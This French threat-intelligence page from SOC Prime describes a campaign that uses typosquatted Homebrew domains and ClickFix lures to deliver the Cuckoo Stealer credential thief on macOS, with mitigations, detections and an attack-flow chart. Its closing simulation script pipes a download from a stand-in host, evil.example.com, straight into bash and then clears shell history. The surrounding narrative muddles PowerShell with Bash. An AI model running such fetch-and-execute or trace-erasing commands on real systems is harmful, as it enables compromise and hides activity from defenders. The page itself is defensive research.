SOC Prime Bias: Moyen

18 Fév 2026 17:39

Faux Typosquats de Homebrew Utilisés pour Diffuser Cuckoo Stealer via ClickFix

Author Photo
Ruslan Mikhalov Chef de la Recherche sur les Menaces chez SOC Prime linkedin icon Suivre
Faux Typosquats de Homebrew Utilisés pour Diffuser Cuckoo Stealer via ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Résumé

Le rapport décrit une campagne qui abuse des domaines Homebrew typosquattés pour inciter les développeurs macOS à exécuter des commandes d’installation malveillantes via la technique ClickFix. Un one-liner curl fabriqué envoie les victimes vers une infrastructure contrôlée par l’attaquant, livrant un chargeur de vol d’informations d’identification suivi de l’infostealer Cuckoo Stealer. Le malware persiste à travers un LaunchAgent, enlève les attributs de quarantaine et exfiltre les informations d’identification et les données de portefeuille via HTTPS. La détection doit se concentrer sur les motifs de commande curl et l’infrastructure associée.

Enquête

Les chercheurs ont retracé l’appât initial à homabrews.org, résolvant à 5.255.123.244 aux Pays-Bas et hébergeant plusieurs domaines similaires (y compris raw.homabrews.org utilisé pour la livraison). Le script téléchargé exécute une boucle dscl authonly pour valider les identifiants macOS, puis récupère un binaire nommé brew_agent. Dans la deuxième étape, Cuckoo Stealer crée un plist LaunchAgent, supprime les drapeaux de quarantaine et communique avec le C2 en utilisant l’échange de clés X25519 avec des charges utiles chiffrées par XOR. La chasse à l’infrastructure a découvert un réseau d’au moins six domaines partageant la même IP d’hébergement.

Atténuation

Éduquer les développeurs à vérifier les URL d’installation de Homebrew et à éviter de copier-coller des commandes non fiables dans le Terminal. Activer la journalisation en ligne de commande et restreindre les modèles où curl extrait des scripts distants pour une exécution immédiate, en particulier les one-liners de style « curl | sh ». La protection des points de terminaison doit alerter sur la création suspecte de LaunchAgent et la suppression d’attributs de quarantaine. Les défenses réseau doivent bloquer les domaines malveillants connus et signaler le trafic vers raw.homabrews.org et les hôtes associés.

Réponse

Lorsqu’une commande curl suspecte est détectée, isoler le point de terminaison, capturer le script et le binaire brew_agent, et collecter le plist LaunchAgent pour analyse. Réinitialiser les identifiants récoltés et révoquer les jetons compromis, en particulier pour les navigateurs, le Trousseau, et les portefeuilles de crypto-monnaie. Examiner de manière médico-légale le répertoire BrewUpdater caché, tous les raccourcis créés, et supprimer les fichiers malveillants. Mettre à jour les détections avec les IOC extraits et surveiller la réutilisation de la même infrastructure.

« graph TB %% Class definitions classDef technique fill:#e6f2ff %% Node definitions node_A[« <b>Technique</b> – <b>T1659 Injection de Contenu</b><br/><b>Description</b>: L’attaquant héberge une page Web malveillante qui imite un site légitime pour diffuser un contenu malveillant lorsqu’un utilisateur visite. »] class node_A technique node_B[« <b>Technique</b> – <b>T1204.004 Exécution Utilisateur : Copie & Collage Malveillant</b><br/><b>Description</b>: La victime copie une commande élaborée depuis une page Web et l’exécute dans un terminal. »] class node_B technique node_C[« <b>Technique</b> – <b>T1059.004 Shell Unix</b><br/><b>Description</b>: Utilisation d’un shell Unix pour télécharger et exécuter un script de premier stade. »] class node_C technique node_D[« <b>Technique</b> – <b>T1555.001 Identifiants depuis les Magasins de Mots de Passe : Keychain</b><br/><b>Description</b>: Accéder au Trousseau macOS pour récolter les identifiants stockés. »] class node_D technique node_E[« <b>Technique</b> – <b>T1555.003 Identifiants depuis les Magasins de Mots de Passe : Navigateurs Web</b><br/><b>Description</b>: Extraire les mots de passe enregistrés et les cookies depuis les navigateurs web. »] class node_E technique node_F[« <b>Technique</b> – <b>T1539 Voler le Cookie de Session Web</b><br/><b>Description</b>: Collecter les jetons de session actifs depuis les navigateurs et extensions. »] class node_F technique node_G[« <b>Technique</b> – <b>T1614.001 Découverte de Langue du Système</b><br/><b>Description</b>: Interroger la variable d’environnement LANG pour déterminer la locale du système et éviter certaines régions. »] class node_G technique node_H[« <b>Technique</b> – <b>T1543.001 Launch Agent</b><br/><b>Description</b>: Installer un plist LaunchAgent au niveau utilisateur pour la persistance. »] class node_H technique node_I[« <b>Technique</b> – <b>T1553.001 Contournement de Gatekeeper</b><br/><b>Description</b>: Supprimer l’attribut de quarantaine avec xattr pour contourner Gatekeeper sur macOS. »] class node_I technique node_J[« <b>Technique</b> – <b>T1027 Fichiers ou Informations Obfusqués</b><br/><b>Description</b>: Chiffrer avec XOR les chaînes, charges utiles et configurations pour masquer le contenu malveillant. »] class node_J technique node_K[« <b>Technique</b> – <b>T1113 Capture d’Écran</b><br/><b>Description</b>: Capturer des captures d’écran silencieusement en utilisant l’utilitaire screencapture. »] class node_K technique node_L[« <b>Technique</b> – <b>T1119 Collection Automatisée</b><br/><b>Description</b>: Récolter récursivement les portefeuilles de cryptomonnaie, notes, documents et jetons de messagerie. »] class node_L technique node_M[« <b>Technique</b> – <b>T1573 Canal Chiffré</b><br/><b>Description</b>: Réaliser un échange de clés ECDH X25519 pour créer un canal C2 chiffré. »] class node_M technique node_N[« <b>Technique</b> – <b>T1102.002 Service Web : Communication Bidirectionnelle</b><br/><b>Description</b>: Communiquer avec le serveur de commande-et-contrôle via HTTPS. »] class node_N technique node_O[« <b>Technique</b> – <b>T1041 Exfiltration sur Canal C2</b><br/><b>Description</b>: Transférer des données volées par le canal chiffré. »] class node_O technique node_P[« <b>Technique</b> – <b>T1529 Arrêt/Redémarrage Système</b><br/><b>Description</b>: Exécuter une commande de redémarrage quand dicté par l’attaquant. »] class node_P technique node_Q[« <b>Technique</b> – <b>T1653 Paramètres d’Alimentation</b><br/><b>Description</b>: Déclencher un redémarrage système pour appliquer des changements ou perturber la réponse aux incidents. »] class node_Q technique node_R[« <b>Technique</b> – <b>T1070.009 Effacer la Persistance</b><br/><b>Description</b>: Se détruire en retirant les binaires et le plist LaunchAgent. »] class node_R technique node_S[« <b>Technique</b> – <b>T1564.014 Cacher les Artéfacts : Attributs Étendus</b><br/><b>Description</b>: Enlever l’attribut de quarantaine pour éviter les avertissements de Gatekeeper. »] class node_S technique %% Connections showing flow node_A u002du002d>|conduit à| node_B node_B u002du002d>|conduit à| node_C node_C u002du002d>|conduit à| node_D node_C u002du002d>|conduit à| node_E node_C u002du002d>|conduit à| node_F node_C u002du002d>|conduit à| node_G node_C u002du002d>|conduit à| node_H node_H u002du002d>|permet| node_I node_I u002du002d>|permet| node_J node_J u002du002d>|permet| node_K node_K u002du002d>|permet| node_L node_L u002du002d>|permet| node_M node_M u002du002d>|permet| node_N node_N u002du002d>|permet| node_O node_O u002du002d>|permet| node_P node_P u002du002d>|conduit à| node_Q node_Q u002du002d>|conduit à| node_R node_R u002du002d>|conduit à| node_S « 

Flux d’Attaque

Détections

Activité Suspecte de Keychain (via creation_de_processus)

Équipe SOC Prime
18 Fév 2026

Modification Suspecte des Permissions de Fichier du Dossier Tmp de macOS (via ligne_de_commande)

Équipe SOC Prime
18 Fév 2026

MacOS Suspect – Emplacements et Noms de Plist (via événement_de_fichier)

Équipe SOC Prime
18 Fév 2026

Accès Suspect aux Identifiants Stockés dans le Navigateur MacOS (via creation_de_processus)

Équipe SOC Prime
18 Fév 2026

Volume du Système macOS Mis en Sourdine avec Osascript (via ligne_de_commande)

Équipe SOC Prime
18 Fév 2026

Collection Possible par Tentative d’Exécution de Screencapture macOS (via ligne_de_commande)

Équipe SOC Prime
18 Fév 2026

Tentative d’Exécution de Curl Suspecte [MacOS] (via ligne_de_commande)

Équipe SOC Prime
18 Fév 2026

IOC (HashSha256) à détecter : Typosquats Homebrew Fausse Utilisés pour Délivrer Cuckoo Stealer via ClickFix

Règles AI SOC Prime
18 Fév 2026

IOC (SourceIP) à détecter : Typosquats Homebrew Fausse Utilisés pour Délivrer Cuckoo Stealer via ClickFix

Règles AI SOC Prime
18 Fév 2026

IOC (DestinationIP) à détecter : Typosquats Homebrew Fausse Utilisés pour Délivrer Cuckoo Stealer via ClickFix

Règles AI SOC Prime
18 Fév 2026

Détection de Commande d’Installation Malicieuse macOS via ClickFix [Création de Processus Linux]

Règles AI SOC Prime
18 Fév 2026

Détection de Domaine de Typosquatting et IP Malveillant dans la Campagne ClickFix [Indicateurs Réseau]

Règles AI SOC Prime
18 Fév 2026

Exécution de Simulation

Prérequis : Le Contrôle de Pré‑vol de Télémétrie & Baseline doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Les exemples abstraits ou non liés conduiront à un mauvais diagnostic.

  • Narrative d’Attaque & Commandes :
    Un attaquant a obtenu un script PowerShell encodé malveillant hébergé sur un serveur C2. Pour éviter d’écrire des fichiers sur le disque, l’attaquant envoie le script directement dans un shell Bash en utilisant curl -fsSL et le -c drapeau. La commande est exécutée de manière interactive depuis un compte utilisateur compromis, imitant un installateur ‘click‑fix’ légitime. Les étapes sont :

    1. Résoudre l’URL de charge malveillante (par exemple, https://evil.example.com/payload.sh).
    2. Diriger le téléchargement vers Bash, en instruisant Bash pour exécuter le contenu avec -c.
    3. La charge utile effectue la récolte de crédentielles, crée un fichier caché, puis supprime le script temporaire (couvrant T1070.004).
  • Script de Test de Régression :

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Simuler un installateur malveillant de macOS (style ClickFix)
    # -------------------------------------------------
    set -euo pipefail
    
    MALICIOUS_URL="https://evil.example.com/payload.sh"
    
    # Transmettre la charge directement dans Bash avec -c
    curl -fsSL "$MALICIOUS_URL" | /bin/bash -c "$(cat)"
    
    # La charge utile elle-même est supposée effectuer ses actions malveillantes.
    # Pour le test, nous affichons simplement un marqueur.
    echo "Charge utile malveillante exécutée"
  • Commandes de Nettoyage :

    # Supprimer tous les fichiers qui pourraient avoir été créés par la charge utile
    rm -f /tmp/payload.sh
    # Facultativement, effacer l'historique des commandes pour réduire les traces légales
    history -c